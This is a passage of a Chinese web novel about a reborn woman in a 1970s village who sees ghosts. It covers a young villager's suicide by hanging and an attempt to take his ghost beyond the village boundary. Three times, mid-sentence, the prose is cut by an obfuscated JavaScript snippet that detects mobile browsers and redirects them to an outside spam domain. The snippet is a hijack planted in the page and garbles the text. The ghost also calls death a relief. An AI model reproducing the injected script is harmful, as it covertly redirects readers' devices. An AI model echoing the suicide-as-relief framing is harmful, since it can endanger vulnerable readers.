钟妮在一旁听得不由得忐忑起来,“要不算了,堂姐,我和拴柱喝白水就行……” “没事,我娘就算知道也不会打我。”钟颖朝她眨眨眼。 钟妮随即抿唇轻笑起来。 钟颖也回以笑容,感觉再刷几回好感度,达成“小姐妹”羁绊后,她就可以问些姐妹之间的悄悄话,帮大伯娘打听一下钟妮喜欢什么样子的男孩子了。 这边支线任务进展顺利,另一边的支线任务就没那么好做了。 首先性别不同就是一大困难。 在这个男女大防看得很重的年代,钟颖还真不太方便直接找李长贵套近乎,不过好在他们一个“奸懒馋滑”、一个“犯懒病”,都只能做做五六个工分的活计,总能有碰上的时候。 新种了玉米种子的地里有一个个苗发芽长了出来,出苗不久就要间苗,田间地头上的人们称其为“耪头遍”,就是锄第一遍的意思,要锄掉长得过密或是长势弱小的苗,保持合理的株距以供日晒和受肥。 生产队队长李明一直密切观察着地里的情况,哪块垄的苗长得稀一些、哪块垄的苗长得密,他心里有数,苗稀的垄要干的活就少,他给定的工分就少;苗密的垄要干的活多,更累人,自然工分就多。 人们一一从保管员李钢时那里领了短把小薅锄后就在地头上一字站开,每人对应一个要间苗的垄,钟颖和李长贵两个干活不行的被分到的就是相邻的两个苗稀的垄。 锄小苗这活儿需要九十度以上大弯腰,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16469799|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能仔仔细细的看清土里长出的苗是什么情况,在这夏天的大太阳底下,虽然有李霖时这个“移动空调”在一旁释放阴冷寒气降温,钟颖虽然没怎么出汗,但干了没一会儿还是腰酸背痛。 好在钟颖负责的那一垄苗稀,她咬着牙撑着一股气一刻不停歇的耪完了,才站直了腰,左右伸展缓解了一下疼痛,趁着田里其他人都在埋头干活,她悄无声息的又原路返回,走近正在旁边垄干活的青年人。 李长贵感觉到有人靠近,抬头看了一眼,见是在旁边垄劳作的钟颖,他又低下头,默默的加快手上的动作,想要拉开两人间的距离。 钟颖还在在想开场白应该怎么说,男的就是麻烦,把握不好这个度就很容易被他们误会。 她默默想着,没察觉到李长贵想要甩开她的心理,无知无觉的又跟了上去。 李长贵握紧手里的短把小薅锄,抬头狠狠瞪了钟颖一眼,从牙缝中挤出一句,“别跟着我,我没有结婚的打算。” 看吧看吧,钟颖被怼了一句,心里居然先浮现上来的是果然如此,男人,永远自信,她都还没开口呢,谁说要嫁给他了? 不过李长贵冷下脸来的阴郁模样,与不远处虚踩在土地上的那水鬼更相像了几分,钟颖看着这一人一鬼堂兄弟,不由得感慨,“你和你表哥还真是有点像。” 这话作为开场白显然十分失败,因为李长贵听完表情更为不善,眼神也变得憎恨厌恶起来,他压低声音,狠狠说道,“你还有脸说这种话?你对得起我四堂哥吗?他为你死了才多久你就想拿我当替代?离我远一点!” 说完,李长贵直接走到他这一条垄的最后,从后向前间苗,离钟颖远远的。 钟颖皱眉,一脸便秘般的难言,她根本没想搞什么替身文学啊! 已经有三三两两的人干完了自己的活儿,有的人主动去帮其他人,不愿帮忙的人则是自己坐到地头的阴凉处歇着,等所有人都耪完一起收工。 钟颖避开其他人也找了个地方坐下,这才对跟来的男鬼说,“要换做是你去接近李长贵,肯定比我要容易,他对我防心也太重了吧!我是那种见一个爱一个的人吗?男人是什么好东西吗?我看到就想和他结婚?” 说着说着,钟颖的火气就上来了,侮辱,这是对她人格的侮辱! 李霖时沉默无言,他觉得这也不能全怪他堂弟,毕竟还有个他作为被祸祸的前车之鉴,他堂弟对钟颖的唯恐避之不及也算是情有可原。 钟颖看着他说,“这可不是我消极怠工啊,你堂弟不配合,我只能之后再找机会,他这样子,我只能温水煮青蛙慢慢来。” 李霖时点点头,“嗯。” 接下来的几天田间没那么忙了,钟颖闲了下来,没找到再接近李长贵的机会。 地里的事不再拽着邓霞,她的精力又转向家里,屋后的自留地西葫芦成熟了,于是邓霞决定让一家人吃顿好的,她要包饺子。 西葫芦擦丝,再挤掉多余的水分,放上葱花、盐,再加上一小块过年时存下来的熟猪油,光是做馅料,就看得其他人直流口水。 钟老爹和钟信是默默流口水那派的,钟颖就是有声版流口水,“娘,再炒几个鸡蛋加进去,更好吃!” 钟国强人小还一腔吃心眼,立刻帮腔嚷着,“加鸡蛋!奶,姑姑说加鸡蛋!” 正准备和面的苗素云瞪儿子一眼,他奶都把白面拿出来擀面皮了! 钟国强被他娘瞪了一眼立刻老实了,小小年纪的他已经明白了一个道理,这个家就没他大声的份儿,他姑要得,他要不得,那是他姑的特权。 “你个嘴馋的丫头,就知道逮着好东西要,咱们家三只鸡一刻不停的下蛋都不够吃的!我还想攒攒鸡蛋换点东西,你以为家里的盐、洋火、肥皂是哪来的?”邓霞虽然嘴上满是埋怨,但身体很诚实,她已经站起身来准备去鸡窝再去摸摸看有没有蛋。 “一共就三只鸡,公鸡是不顶用的,只有两只母鸡是会下蛋,当然不够吃了。”钟颖说。 “什么叫不顶用,公鸡不是能打鸣。”邓霞回嘴道。 钟颖随口说着,“也就长着一张嘴了。” 其他人直笑着看她们母女俩你来我往的拌着嘴。 突然一声惊惶凄厉的尖叫哭喊声划破村子的安宁温馨。 正要往桌沿边敲鸡蛋的邓霞被突如其来的这么一声吓得险些没能拿住手里那宝贵的鸡蛋,“这谁啊?怎么一惊一乍的?” 一只苍白但遒劲有力的手扒在院子里那口井边,接着那手一撑,黑色发丝还滴着水的男鬼冒出了上半身,这不亚于贞子爬出电视机的恐怖一幕只有钟颖看到了,就算是和这鬼多次交锋、算得上熟络了,她还是被冷不丁吓了一跳,险些就要骂出口,还好理智尚存,周围钟家人可都看不见他。 李霖时无暇再控制自己身上的水是不是又打湿了白衬衫,他此时顾不上其他事,只用他那双所有光都泯灭其中的黑眸看着钟颖,艰难说道,“长贵自杀了。” 钟颖的眼睛倏地睁大。 19. 哪吒自刎 李长贵面色平静的看着自己的尸体,看着扑过来惊惶痛哭的娘和难以置信、停在屋门口不能再走一步的爹,思绪渐渐清明,他却仍有一种旁观者的漠然,只默默的把自己过长的舌头塞回了嘴里。 没多久生产队的其他人纷纷过来了,最先来的是住在隔壁的大伯一家人。 李明震惊的看着眼前这一幕,不过他很快回过神来,几步走过来抓住弟弟李阳的胳膊,苍白无力的说,“先把孩子放下来吧……” 刘红艳和两个儿媳合力才把已经哭到浑身瘫软、像一摊烂泥一样坐倒在地的妯娌扶了起来。 李阳根本不能接受眼前的一切,最后还是李钢时和李荣时兄弟俩帮忙把吊在梁上的堂弟弄了下来。 本来只是好奇李三家是鸡被偷了还是菜被摘了的村民们过来一看,也都吓了一跳。 “好好的青年怎么自己想不开……” “李三家小子这是怎么了?前些日子我在地里看见他的时候还好好的啊!” “这也太突然了……” 人们七嘴八舌的说着,李长贵仿佛他们谈论的不是自己一般,只目光空洞的随意看着,突然,他一直没落到实处的视线定住了。 “四堂哥?!” 李长贵惊叫出声,他居然在钟颖身旁看到了李霖时的身影。 其他人团团围住悲痛不已的李阳和单淑惠夫妇,钟颖背对他们悄悄离开,一直走出了房子,站在空空的路上,才看着李长贵开口,“……怎么回事?” 零人回答,不对,应该是零鬼回答。 钟颖目光平静的转头看向李霖时。 李霖时接收到目光指示,轻咳了一声,“长贵,你怎么会……” 李长贵这才回答,“四堂哥,没想到死了之后还能再见到你。” 钟颖木然的抱臂站在一旁,她算是明白了,在李长贵眼里恐怕李霖时是“亲亲堂哥”,自己则是“那女的”。 “就是不想活了呗。”李长贵说得释然又洒脱,他甚至还轻笑了一下,与他身后房子里悲痛的哭嚎声形成鲜明对比,让人只觉割裂。 李霖时的目光从房子又挪回李长贵的身上,“你是不是病了?” 李长贵脸上的笑容消失,半晌后才再次开口,“……所有人只会指责我,没想到直到死后才终于有问我是不是病了的。” 爹娘骂他懒、生产队的其他人也说他是犯了懒病,只有李长贵自己知道,他不是懒,只是干什么都提不起劲,总感觉人很累,就连肚子里都像被绳子紧紧缠住,他是真的不舒服。 “我不是躲懒、不是故意干活慢,”李长贵说,“我只是脑子里一直有个声音在说……” 李霖时问,“说什么?” 李长贵深深的看了他一眼,声音艰涩,“他说,我想去读书。” 李霖时顿时怔住。 钟颖看看这个鬼又看看那个鬼,不明所以。 李长贵突然有了倾诉欲,“我娘生我时坏了身子,再不能生,于是我爹娘把我看得跟眼珠子一样,有什么好东西也都先紧着我,我想要什么他们都会尽力满足我,只是有一点不行,我不能离开他们。” “读完村小,我说我想接着读书,我也想像四堂哥那样去镇上读中学。”李长贵平静的说,仿佛在讲一个别人的故事,“我爹不同意,他怕我像长大的鸟,一旦飞出去就再也不会飞回来了;我娘抱着我哭,说她这辈子就我一个儿子,离了我她该怎么办?她说舍不得我,如果我去了中学读书,她见到我的时间就会越来越少。” 李霖时沉默不语,同甘生产队位置偏远,他在六嶂中学读初中时通常是每个月放的“月假”那三天才会回一趟家,拿一些换季的衣服和下个月的口粮;去更远的县城高中读书时则是一学期回来一次;再到后来考上大学,路途更加遥远,为了节省路费开支,他只有过年才会回一次家。 三叔想的没错,他就是那一步步越飞越高、越飞越远的孩子,如果不是李霖时还心系家乡,像他那些同样是农村考出去的同学,大多都是毕业后留在城市等待分配工作,工作之后可能一两年、甚至慢慢会更久才会回来一次吧。 李长贵面露苦笑,“所以我还能怎么办呢?他们只有我一个孩子,我只能留在他们跟前。” “可是我真想去外面读书啊……”李长贵看着无边的天空,这是他至死也未飞出去的天空。 钟颖沉默的垂下眼睫。 李长贵接着说,“也许就是因为这个念头一直消不掉,所以我爹娘越对我好,我越痛苦,这种好绊住了我的脚。我有时候甚至都觉得他们像地缚鬼,让我感到恐慌害怕,可他们明明是人。” “我听着堂哥你被选拔上去县城高中读书、后来又考上了大学,我真的好羡慕,但再看我自己,这辈子都困死在了同甘生产队。” “像其他人一样,按部就班的到年纪娶媳妇、再养孩子,一日日在地里干活,春去秋来,收完麦子种玉米,不停循环,一眼望得到头的人生。”李长贵神色恹恹说道,“我越想越觉得活着真没意思,再加上听说外面学校都停了,我彻底没了念想。昨天晚上我又睡不着,就干脆这样一了百了。” 说到这里,李长贵的语气又轻快了起来,“虽然很对不起我爹娘,但是我真的觉得,死了的感觉真好,好像原本拽着我的那些无形的绳子都解开了,就是要能在投胎前再去堂哥你读的那所公社中学看看就好了,我真想去看看啊……” 是他这辈子都无缘的学校啊。 李霖时想起自己无法离开同甘生产队的限制,他张了下嘴,却无力答应堂弟最后的心愿。 “我帮你。”钟颖突然开口说道。 两鬼齐齐看向她。 钟颖平静又坚定的说,“我会想办法帮你的。” 李长贵迟疑,对她的信任并没有很高,“那、谢谢你?如果真的可以的话,我真的会非常感谢你。” 说到后面他的表情也认真了起来。 这时围在屋子里的人们走出了大半,邓霞也在其中,她无知无觉的穿过李长贵的魂体,走到女儿身边,“怎么在外面?走了,咱们回家,接下来的事李家人会操持的。” 说完邓霞不禁叹了口气,“多么好的青年啊,怎么年纪轻轻就想不开……” 钟颖只能跟着她娘离开; 李长贵脚步未动,他不知道去哪儿,只想在自己家里再呆一会儿; 李霖时想了想,对堂弟说,“我先跟着她走。” 李长贵只表情复杂的劝了一句,“哥你自己长点心吧,你说你为了她命都搭进去了值得吗?她现在活得好好的,早晚还会再嫁人,何苦呢?” 显然他把自己亲亲堂哥死后仍然徘徊人世间的原因想成了悲情版本,他堂哥寸步不离的跟着钟颖就是佐证。 李霖时只觉一种无力感再次涌上来,“我不是、我没有……” 自证好难。 李霖时无言解释,干脆也就不说了,直接转身就走。 回了家,钟家人也没了之前好不容易吃一顿饺子的高兴心情,留在家里看着儿子的苗素云看着面前自己已经包了一半的饺子,面色为难,“那这些饺子怎么办?现在天热也放不住……” 邓霞舀起井水洗了把手,重新坐下,“继续包,饭还是要继续吃的。” 一顿食不知味的晚饭吃完,天色也渐渐暗了下来,众人心情沉重的回了各自房间。 钟颖抬眼看了这时候还在自己屋子里的男鬼,显然这鬼是在等她。 李霖时平静的看着她,“你又是怎么回事?” 不论是之前的钟颖,还是现在这个号称自己是借尸还魂的钟颖,都不是个乐于助人的热心肠,所以当她主动开口想要帮长贵时,李霖时就察觉到了她的不对劲。 钟颖双手举起,“阿sir,有时候我也想做个好人。” 李霖时只用他那双幽黑的眼眸静静望着她。 “好吧,你听不懂这个梗。”钟颖只能收起插科打诨的心,“我只是感觉同病相怜而已。” 钟颖突然发现这鬼有着一双很漂亮的眼睛,尽管现在死气沉沉、黑眸中好似能吞噬所有光亮,但当这双眼眸倒映着她的身影、仿佛只倒映着她,确实挺让人有倾诉欲的。 “反正之前我都和你透过底了,也没什么不能说的。”钟颖耸耸肩,“我说过我是独生女,不过我家只有我一个孩子不是因为我妈生产时艰难,而是计划生育,未来有很一段时间一家就只能要一个孩子。” 李霖时心中惊讶,却没有表露到脸上,只不动声色的吸收着钟颖话里透露出的信息,一面细细观察着她脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16477385|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的表情,判断着这些是否又是哄骗他的谎言。 钟颖继续说,“我爸在外贸公司上班,工资比我妈高,于是就劝我妈辞了工作、在家专心带孩子,所以我成长在一个非常典型的男主外、女主内家庭。我爸的工作越做越好,他在家的时间也就越来越少,更多的是在外面觥筹交错的应酬,他和我妈的争吵也变得越来越多。” 说到这里,钟颖的嘴角不禁露出个嘲讽的笑,“男人想要贤妻良母,不过是把该自己承担、付出的责任全部推脱出去,我爸和我妈吵架的时候也只会说他工作上已经够累的了、你在家带孩子还要怎么样之类的话,要是我有一点错处,我爸就好像抓到我妈的把柄一般,斥责她这个当妈的没有教好我。” “我知道如果我是个男孩,我爸不会忽视家庭、孩子到如此地步,为了争一口气,还为了让我妈不被指责,我拼命的卷自己,我要考试名列前茅、我要考最好的学校、毕业后入职业界有名的互联网大厂工作,我自觉不论男女,我已经可以称得上一句优秀。” 钟颖回归平静,叙述道,“直到我爸把我叫回家,安排我和一个男人相亲,他用令我陌生的亲切和那男人畅聊着,夸赞着‘小伙子真有出息’、‘我女儿有福气了’,他们相见恨晚,甚至聊到了半年后订婚、年底结婚,下一年生了孩子交由长辈们带的事情。” “那一瞬间,我感觉自己像是被人突然敲了后脑勺。”钟颖说,“我一下子就明白过来了,我再怎么样去努力,在我爸眼里也只不过是给他换回失散多年儿子的媒介。” 那一刻,钟颖完成了精神弑父,将心中父亲的形象以及一直以来的期待全部磨灭。 李霖时发现钟颖说话时的表情和李长贵很像,看着面色平静,但不是伤口已经完全好了,而是一种已经适应了这种疼痛的麻木,他垂在身侧的手指微微动了一下,却在他意识到后又很快控制着止住动作。 “我所做的一切努力其实只是想要得到我爸的一句肯定,但在他毫不吝啬的夸奖着另一个男人时,我突然就觉得自己一直执着的东西其实也挺可笑的。”钟颖笑了一下,连眼睛都微微弯起,她现在说起仍觉得好笑。 对父权祛魅、不再追求别人的肯定,钟颖当时也有种仿佛身上绳子被解开的轻松感。 “你知道哪吒自刎的故事吗?”钟颖突然提及好似莫名其妙的话题。 李霖时点点头。 钟颖继续说,“哪吒自刎,以骨肉还父、鲜血还母,很多东亚小孩都在不断重复着相同的事情。” 李霖时想起堂弟的自杀,看着钟颖,“你……” 钟颖听懂了他未说完的话,“我没骗你,我不是自杀,是猝死。” “看透我爸之后,他在我这里已经和一个陌生人没什么区别,我没必要再为了他去继续上已经令我亚健康的班,我打算辞职,先去别的地方旅个游,住个一、两个月找到我自己的人生步调。”钟颖说,“至于我妈,我知道她爱我,但我不想继续背着她的痛苦和期望了,如何解决她和我爸夫妻关系中的种种问题,应该是她的人生课题,而不是我的。” “我已经提了辞职,只要做到月底,把负责的一个项目现阶段的事情做一个收尾,另一个游戏项目做好交接,我就可以出发找自己了。”钟颖想起自己的“死”,不免觉得“冤”,“明明和之前一样通宵加班,结果我刚回到家就嘎了。” 钟颖撇嘴,“所以你也不用这么提防着我,我不是没来由的发善心,我只是觉得我差一点就能走出去的那一步,要是能帮你堂弟走出去、达成所愿,我也会没那么遗憾。” “我不是提防你。”李霖时说。 “你不是觉得我这个‘坏女人’突然做善事是不安好心吗?”钟颖奇道,“这不是提防我还能是什么?” “我……”李霖时开口,却又语塞住。 他自己现在都有些弄不明白,他为什么察觉到钟颖的不对劲就跟了上来,还有刚刚钟颖说话的中间,李霖时无法欺骗自己,他是想要抬手,可抬手又是要做什么?他莫名的想要安慰她。 钟颖见他回答不上来,直接回了个白眼,“行了,我真的不会对你的亲亲堂弟做什么坏事的,现在你可以走了吧?我要换衣服睡觉了。” 李霖时还没想明白自己的心,就被撵了出去。 20. 出村的限制 和李霖时的丧事一样,停了三天李长贵就匆匆出殡了,这次同甘生产队的人也大多都来了,没办法,按理来说这又不是村里老人的丧事,哪用得着全村出动声势浩大,但上个月初他们才都去吊唁了李霖时,总不好厚此薄彼,这个月不去为李长贵吊唁吧。 “唉,这都叫什么事啊,怎么连着两个月白发人送黑发人……”人群中有人小声的唏嘘。 “唉,好好一个大小伙子就这么没了……”人群之上有鬼也在感慨。 钟颖忍不住抬头看了一眼半空中的大伯娘,总觉得曹芳是在可惜她的女婿候选就这样“淘汰”了一位。 不过谁肚子里还没有点自己的小九九了,钟颖凑到她娘跟前,找了个借口,不多时钟颖就从人群中悄悄走出。 曹芳见状也跟着她离开。 一人一鬼离开了李阳家,经过村小,走到了村口。 聚集了生产队大多数人的丧事主人公李长贵此刻却在稍显冷清的村口,和他堂哥李霖时站在一起。 “我还以为你会想去看看自己的葬礼。”钟颖走过来后说道。 李长贵神情恹恹,“谁会想看那个,亲眼看着自己下葬?脑子有病吧。” 钟颖不说话,只默默转头,一味的去看旁边的李霖时。 李长贵睁大了眼睛,整个鬼都站直了,看着李霖时的目光震惊又敬佩,“哥,你真的去看自己下葬了?” 亲眼看着自己的身体埋入土中,直面自己死亡的事实,李长贵不想体会,所以才仿佛局外人一般不去关心自己的丧事。 “算是吧。”李霖时其实看的不是自己下葬,当时他的目光全在钟颖身上,仇怨、愤恨,除了她,李霖时眼中根本看不到其他事物。 钟颖走到村口那块埋在土里只有小腿高的石碑旁,看着上面雕刻的“同甘村”三个字,她又仰头对曹芳说,“大伯娘,你是走不出这块石碑以外吗?” 曹芳点点头。 钟颖又扭头看向另外两个男鬼,“你俩试过了吗?” “和……一样,”李长贵顿了一下,不知道该怎么称呼眼前这个女鬼,“我们也无法越过这块石碑走出去。”李长贵说。 曹芳朝他腼腆一笑,“你也叫我大伯娘就好。” 别叫什么钟大伯娘,什么钟不钟的,她姓曹。 李长贵对着曹芳这张看着和他大伯家的三堂姐差不多年纪的脸,实在有些叫不出口。 李霖时颔首,又说,“我也无法越过界碑石,可要是从甘霖河中,我最远可以到河流的尽头,但再远就不行了。” 他思考过,他能突破限制,只是借了河水的势。 可甘霖河流不到镇上,去不了公社。 钟颖摸着下巴思索的看着面前这块不大的石碑,难道这块其貌不扬的青石是什么镇界之石吗? 没错,钟颖私下就是“游戏、小说、电视剧”样样都来的。 “要不试试把这块石碑挪远点?”钟颖喃喃道,这想法一起她就按捺不住,马上去喊曹芳,“大伯娘,你能碰这块石碑吗?” 如果不行就只能靠她用木棍挖了。 曹芳飘低了些,附身伸手,苍白透明的指尖碰触到粗糙冷硬的青石表面,她不明所以的看向钟颖,“可以啊。” 钟颖松了一口气,“太好了,大伯娘,你帮我把它拔出来吧!我想把它挪个地儿——” 她向前看了看,指着三米开外的土地,“插到那边去,试试看你们能不能再往前走。” “你说的轻巧,”李长贵有记忆起这块写着村子名的石头就已经深插在土地里了,“怎么可能说拔就拔得出来——” 他话音未落,嘴巴已经震惊的张大了。 曹芳在他说话间已经把石碑拔了出来,如同从地里拔出一根青草般轻松。 钟颖站在她旁边,忍不住昂起纤巧的下巴,“我大伯娘力气可大着呢。” “对了,”钟颖这时才想起,“你四堂哥死后很会玩水,你呢?” 李霖时用那双死气沉沉的幽深黑眸盯着她,面无表情。 钟颖才不在意,只殷切看着李长贵,好奇他现在拥有了怎样的“超能力”。 李长贵仔细想了想,局促道,“额……我、我舌头特别长?” 钟颖默默收回了视线,走向放在地上的石碑,两手用力抱起——起—— “还是我来吧,这石头看着不算特别大,但还是有些重量的。”曹芳上前,越过钟颖,她轻松的一手提起石碑。 只是曹芳拿着石碑,仿佛有什么无形的绳子拽住她的身体,已经绷直拉紧,无法往前再走一步。 钟颖一拍脑门,“要是鬼能带着界碑走,那不是卡bug了,抱着石头满世界都能去了。” 送葬的队伍朝村子后面的颖山而去,打头的几个壮劳力合力抬着棺材;村口三鬼只能看着钟颖哼哧哼哧又推又拽的一个人把石碑往前挪。 石碑在土地上拖出一道深色的痕迹,钟颖使尽浑身解数,累得满头大汗,半晌功夫也只将其拖出了一米多点的距离。 “这法子不行。”钟颖停下来,“我总不能把村口石碑一路又推又推的弄到镇上。” 在她的记忆中,要从同甘村到六嶂镇,光靠11路,就是人的两条腿,都要走上个五、六个小时才能到,没办法,同甘村的地理位置就是如此偏僻深远,同甘生产队是离公社最远的一个生产队。 李霖时试着往前走,发现还是那样,就算地上只剩下一个土坑,但他仍然无法走到土坑以外,“这法子是不行,还是出不去。” 钟颖只能认命的把石碑再次拖回来。 “你们干嘛呢?” 突然出现的问话令三鬼一人齐齐下意识的回头看去。 钟颖在回头的瞬间突然浑身一凛,如果是村子里的人看到她此刻拖村口石碑的奇怪行为,只会问“你干嘛呢?”,但刚刚那声音说的却是“你们干嘛呢?”,是包含了她身旁这三个常人看不到的鬼,所以说话的不是人! 可她现在止住动作已经晚了,她已经下意识的回头了! 映入钟颖眼帘的是牛头中山装和马面大白褂。 刚刚说话的是顶着牛头的阴差,他和马面在办丧事的颖山上没找到李长贵的魂魄,便下了山从村子一路找过来,就见三只鬼都聚在村口,他这才疑惑的问了一句,没想到三鬼听到后转身,露出了同样回头的一个人。 “咦?你一个人怎么能听到我说话呢?”牛头更加疑惑了。 钟颖一头的汗变成了冷汗,大脑飞速运转着想着措辞,“我……” 李霖时想起她之前说的“借尸还魂”,下意识的往她前面走了一步。 好在下一刻另一阴差说的话缓解了剑拔弩张绷紧的气氛。 马面成为阴差的时间远比牛头要长,他只淡淡的瞥了钟颖一眼,“大惊小怪,你只见过‘地灵’,不知道世间还有‘人杰’存在,虽然极少,但总有那么几个,看得见你我又算什么,还有看得见‘天地’的、看得见‘未来’的。” “哦哦。”牛头憨厚的挠挠自己的头。 钟颖大喘一口气,活过来了,没错,从此刻开始她就是“人杰”了,总比来自21世纪的在逃灵魂要好。 牛头不在关注为什么钟颖一个人能听到他说话的事,又回到他原来的疑惑,“你们刚刚是在干嘛?” “很明显,”马面的目光落在挪了位置的石碑上,“他们是想要设法离开同甘村。” 牛头铜铃般的眼睛一瞪,显得更加恐怖唬人,“你们想要逃?!” 曹芳吓得连忙摆手,“不是的、不是的,我们只是试试能不能走出这块地界。” 李长贵还是第一次直面传说中的牛头马面,腿肚子直发软,但还是勇敢站出来,“都是因为我想要去亲眼看看六嶂中学,他们只是为了帮我实现最后的心愿。” “我也想知道,为什么我们死后走不出同甘生产队?”李霖时直视牛头马面。 马面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482534|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对上他沉静的目光,答道,“这是‘天地法则’的限制。” 比起言简意赅的马面,牛头的话就多了,“人间那么大、那么多人,我们阴差也是划分管辖区域的,我和马罗刹只管你们苍宁省这块地界都忙得不可开交,要是人死后鬼魂还能到处乱窜,这不是为难我们阴差吗?!” 牛头越说越亢奋,“怎么抓?我就问你们怎么抓?本来鬼见了我们就跑,那些枉死鬼还多了些超乎常人的能力,更像滑不溜秋的泥鳅!就像你,没错说的就是你,死在河里的那个鬼,当时为了和你说句话,我和马罗刹那是追了有十里地……” 钟颖一边偷听一边往几个鬼身后藏了藏,果然,上班就没有不心生怨气的,阴差也不例外。 马面打断牛头的话,“所以,有天地法则的限制,我们只要在命簿上读到亡故地,一般都能找到滞留的鬼魂。” “真的没有鬼魂能够离开亡故地的办法吗?”李长贵见两阴差说话与常人并无不同,心中的害怕消退了些,忍不住期盼的看着他们,“我就想亲眼看一看这辈子都没机会读的学校,了却这一心愿后就跟着你们去投胎!” 牛头顶不住这希冀祈求的目光,为难的捋着自己头上的角,“这……虽说我们是行走人间的阴差,但其实也受天地法则的制约,超出职责外的事情也没办法做,我们只负责做亡魂的引路人,告诫他们在人间需要注意的事,完成遗愿什么的……这是当地的守护神的活儿。” 李长贵惊喜,“是山神娘娘吗?” 一直在默默偷听的钟颖心中暗暗惊讶,那山神庙原来不只是个许愿的地方啊,山神居然不是精神寄托而是真的存在? 牛头更尴尬了,“是,但你们这块地方上的山神吧……她入世去了。” “入世?”李长贵一怔。 “从自然万物中诞生的神灵都要入世,这也是‘天地法则’。”马面开口,他指着地面上经过的一行蚂蚁,“打个比方,就像这些蚂蚁,人知道蚂蚁的想法吗?理解它们的情感吗?要做好一方守护神,可不是只高坐庙宇就行,经人间烟火,才懂人间百味。” “就是你们说的,从群众中来、到群众中去。”牛头忍不住嘚瑟的昂起头,“人的红皮书我也是仔细看过、学习了的。” 钟颖忍不住去瞟这两阴差,没想到他们非但不像传说中的凶神恶煞,还反倒挺接地气? 李长贵急切的问,“那山神娘娘什么时候能回来?” 牛头摆摆手,“这咱哪知道啊,每个神入世的时间、经历几番轮回都要看他们各自的感悟,‘天地’觉得可以了,神自然就归位了。我也盼着你们这里的颖山山神早日归位,一个你们同甘村、一个没了药神的盘坡口,还有其他几个没了神的地方,事情全压我和马罗刹身上了……” 李长贵眼里的神采一点点暗淡下来,果然是他一辈子都去不了的学校,死后也去不了。 马面没有错过他的神情变化,缓缓开口,“其实也不是没有鬼离开过自己的亡故地。” 这话一出,几双眼睛齐齐看向穿着一身白色对襟布褂的马头人身男,就连牛头都惊讶的看了过来,他也是头一回听说哇! “我曾经见过一鬼,跟随抱着他牌位的亲人一同因迁都搬去南方……”马面意有所指的看向众鬼后的那人。 牛头说话就直接多了,他眼睛一亮,扭头就看向钟颖,“这不就有人吗?让她带你去看学校呗!你俩有亲戚关系吗?我记得你们人总会有那么点的沾亲带故!” 钟颖与李长贵面面相觑。 “我和你……有吗?”钟颖迟疑的问。 李长贵想了又想,他娘单淑惠是周家窝窝生产大队远嫁过来的,在同甘生产队里还真没有亲人;他爹李阳和生产队队长李明是兄弟俩,可李家和钟家往上推几代都没有过结亲这样的交集…… 思来想去,李长贵只能想到一点,他先是看了一眼旁边的李霖时,又看向钟颖,“额……差点儿成了我四堂嫂,这算吗?” 21. 奔逃 “真的没有我的太姑奶嫁给你的太爷爷这种事情吗?”钟颖不死心的问,“我爷爷的堂姐的儿子娶了你表叔的姑姑的女儿,这种事也没有吗?” 都过去三天了,钟颖还是难以相信,“不是说以前我们的先祖都是富商家的仆人,丫鬟配小厮,才有的家生子啊!我和你们姓李的居然一丁点亲戚关系都没有?” 对此李霖时只是淡淡的睨她一眼,“我以为这点你在对我下手前就已经有认知了。” 钟颖顿时无言哽住。 虽说乡野人家亲戚关系盘根错节,但结亲前也是要好好打听清楚,出了五服才能结亲,原先的钟颖看上李霖时后,她娘邓霞也是悄悄去找胡打听问过,细细盘算过一番是没有任何血缘交集的,才更觉得这是天作之合的好姻缘。 钟颖只能无奈的继续向前走。 午后的阳光从林间枝叶的缝隙穿过,撒在三鬼一人的身上。 李长贵惊奇的感受着阳光穿透自己落在地面上,他张开手端详着,居然毫发无伤,“我之前一直觉得鬼一照太阳就会化成灰。” 不同于才死不久、还坚持着像人一样脚踩着地走路的两青年,曹芳飘在半空中,“那都是人自己想的。” “就算是没有条件创造条件,没有关系创造关系,”钟颖脑筋一转,“除了拜天地我们还可以拜把子啊!就像是桃园三结义!” 李霖时顺着她的思路想,沉吟片刻,“也行。” 是的,在那天李长贵思来想去只想出个未完成版的“四堂嫂”后,牛头马面倒是顺着这个馊主意指点了一番,既然是差一点就成了的夫妻关系,只要现在人认、鬼也认,拜过天地后就算在世间过了明路。 妻立夫牌位、再立小叔子的牌位,这样带着两个牌位的钟颖就可以领着两鬼离开,鬼的活动范围从原本的同甘生产队变成了钟颖身边。 所以吃过午饭后,钟颖借口去山脚搂柴火,却悄悄上了颖山,为的就是搜罗做牌位的松木。 